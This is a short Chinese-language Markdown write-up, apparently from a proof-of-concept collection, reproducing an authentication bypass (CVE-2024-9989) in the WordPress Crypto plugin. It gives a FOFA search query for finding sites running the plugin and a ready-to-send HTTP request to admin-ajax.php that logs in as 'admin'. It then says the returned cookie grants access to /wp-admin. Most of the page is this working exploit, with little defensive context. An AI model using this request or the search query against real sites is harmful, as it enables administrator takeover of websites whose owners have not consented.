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30 lines
1.4 KiB
Markdown
30 lines
1.4 KiB
Markdown
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# WordPress插件Crypto身份认证绕过漏洞复现(CVE-2024-9989)
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WordPress 的 Crypto 插件在 2.15 及以下版本（包括 2.15）中容易受到身份验证绕过攻击。这是由于对 'crypto_connect_ajax_process' 函数中 'crypto_connect_ajax_process：：log_in' 函数的任意方法调用有限。这使得未经身份验证的攻击者可以以站点上的任何现有用户（例如管理员）身份登录（如果他们有权访问用户名）
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## fofa
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```javascript
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"wp-content/plugins/crypto/"
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```
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## poc
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```javascript
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GET /wp-admin/admin-ajax.php?action=crypto_connect_ajax_process&method_name=register¶m1=admin HTTP/1.1
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Host: 127.0.0.1
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Connection: close
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```
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**成功会显示Success 并赋予Cookie 然后再访问/wp-admin 即可登入管理账号.**
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## 漏洞来源
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- https://mp.weixin.qq.com/s/hC8A1DeS-LWGpNIFKeiMBQ
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